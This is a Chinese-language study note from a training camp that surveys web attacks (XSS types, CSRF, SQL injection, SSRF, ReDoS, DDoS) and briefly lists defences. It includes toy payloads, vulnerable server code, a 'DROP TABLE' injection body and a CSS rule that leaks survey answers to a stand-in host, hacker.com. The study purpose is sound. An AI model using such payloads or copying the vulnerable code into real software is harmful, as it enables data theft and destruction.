这是我参与「第四届青训营 」笔记创作活动的第6天
关于Web安全我们要从两个角度去学习:
- 站在hacker角度--攻击
- 站在开发者角度--防御
了解攻击方式和类型有助于我们的防范,可以提前降低潜在的安全风险。
攻击类型
Cross-site Scripting ---(XSS)
最常见的一种安全攻击方式----跨站脚本攻击。就是将恶意脚本注入我们的页面执行,造成信息泄露或电脑成挖矿工具。
这种攻击的特点有:
- 通常难以从UI上感知(暗地里执行脚本)
- 窃取用户信息(cookie/token)
- 绘制UI(例如弹窗),诱骗用户点击/填写表单
axios.post(xxx,{
content:`<script>alert('您抽中了10000元')</script>`
})
XSS有几大类别:
- Stored XSS (存储型)
恶意脚本被存储在数据库中
有用户访问页面-读数据-被攻击-用户信息泄露
危害最大,对全部用户可见 - Reflect XSS (反射型)
从URL上进行
xxxhost/path/?param=<script>alert('123')</script>
// 用户render时
public async render(ctx) {
const { param } = ctx.query
ctx.status = 200
ctx.body = `<div>${param}</div>`
- DOM-Based XSS(基于DOM的攻击)
不需要服务器的参与
恶意攻击发起+执行,全在浏览器完成
const content = new URL (location.href).searchParams.get("param")
const div = document.createElement("div")
div.innerHTML = content;
document.body.append(div)
从URL获取参数,注入渲染到页面中,这样就完成了一次基于DOM的XSS 。
- Mutation-based XSS
利用了浏览器渲染DOM的特性(独特优化)
不同浏览器,会有区别(按浏览器进行攻击)
上面的图就是根据title属性渲染了一个img标签,但src错误,利用onerror函数触发攻击。
Cross-site request forgery (CSRF)
跨站伪造请求
- 在用户不知情的前提下
- 利用用户权限(cookie)
- 构造指定HTTP请求,窃取或修改用户敏感信息
用户点击不知名链接--页面构造转账请求发送银行-请求具有cookie,银行判断合法-调用接口,转账成功。
Injection 注入
SQL Injection
有以下代码:
public async renderForm(ctx) {
const { username, from_id } = ctx.query
const result = await sql.query(`
SELECT a,b,c FROM table
where username = ${username}
AND form_id = ${form_id}
`)
ctx.body = renderForm(result)
被利用username提交非法参数
fetch("/api",{
method: "POST"
headers: {
"Content-Type":"application/json"
},
body: JSON.stringify({
username: "any; DROP TABLE table"
})
})
执行后就破坏了数据。
除了删除文件,还可以修改文件例如修改我们的nginx配置,将请求转发至第三方网站,进行流量攻击。
SSRF
没用对callback进行过滤,就会利用我们的内网权限,去攻击服务器。
Denial of Service (DoS)
通过某种方式(构造特定请求),导致服务器资源被显著消耗,来不及响应大量请求,导致请求积压,进而发生雪崩效应。
- ReDoS ---基于正则表达式的DoS 利用正则的贪婪回溯
const pattern = /^((ab)*)+$/
const str = abababababababa
第一次匹配 ababababababab 匹配错误
第二次 abababababab *2 匹配错误
第二次 ababababab *2 匹配错误
第二次 abababab *2 匹配错误
第二次 ababab *3 匹配错误
第二次 abab *4 匹配错误
Distributed DoS
短时间内,来自大量僵尸设备的请求流量,服务器不能即使完成全部请求,导致请求堆积,无法响应新请求。
这种攻击并不复杂,只需量大。
攻击特点:
- 直接访问IP
- 任意API
- 消耗大量带宽(耗尽)
例如:洪水攻击:
不进行第二次握手,当服务器的连接数达到最大值,就无法提供服务了。
通过连接层攻击
针对攻击,我们要记住永远不要将用户提交的数据直接渲染成DOM或转为string。
防御篇
XSS-现成工具
前端
- 主流框架默认防御攻击
- Google-closure-library 服务端(node): DOMPurify
我们在写代码时要注意以下几点:
- string直接生成DOM,要对string进行转译
- 上传svg文件时,进行扫描
- 尽量不要让用户进行自定义跳转行为,因为href可以传递js代码
- 如果允许用户自定义样式:
// 收入调查,选中选项时发送get请求,暴露收入信息
input[type=radio].income-gt10k:checked {
background:url("https://hacker.com/?income=gt10k")
}
Content Security Policy (CSP)
- 那些域名被认为是安全的
- 来自安全域名的脚本可以执行,否则直接抛错
- 对eval + inline script 说不!
关于 CSRF 型的防御
关于cookie保护
Injection 防御
正则类的判断
DDoS的限制
详情大家可以查资料。